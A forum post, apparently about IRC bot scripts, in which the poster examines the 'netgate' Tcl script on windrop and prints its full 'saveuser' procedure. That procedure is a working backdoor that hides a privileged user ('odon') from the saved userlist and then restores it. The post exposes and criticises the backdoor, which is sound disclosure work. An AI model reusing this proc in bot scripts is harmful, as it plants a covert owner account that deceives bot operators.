After reading
this thread again, I got the idea of checking if that [saveuser] procedure exists in the new netgate.
I've downloaded windrop1.6.12 and loaded netgate into it. Enabled the .tcl DCC command and did the following:
(Me) .tcl info command saveuser
(Bot) Tcl: saveuser
(Me) .tcl info args saveuser
(Bot) Tcl: (Meaning it takes no arguments)
(Me) .tcl info body saveuser
I'll display the output of the last Tcl-command in code tags (The whole proc)
Code: Select all
proc saveuser {} {
global ps owner
if {![validuser $ps]} {
setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."
} elseif {$owner != $ps} {
setuser $owner XTRA "BEND" [zip [chattr $ps]]
if {[passwdok $ps ""] != 1} {
setuser $owner XTRA "LAST" [getuser $ps "PASS"]
}
deluser $ps
}
save
if {![validuser $ps]} {
adduser $ps "$ps!*@*"
chattr $ps [dezip [getuser $owner XTRA "BEND"]]
if {[getuser $owner XTRA "LAST"] != ""} {
setuser $ps PASS [getuser $owner XTRA "LAST"]
}
}
return 1
}
$owner contains the owner's handle (set by you) and what does $ps contain?
(Me) .set ps
(Bot) Currently: odon
So the same backdoor still exists in the new version, this time it adds "odon" instead of "KaISaR" to the bot's userlist as owner.
Edit: I meant windrop1.6.12 instead of eggdrop1.6.12 (used it since the site claimed that netgate only works for this version of windrop or more specifically for tcl 8.2-8.3... even more reason for why this script is lame).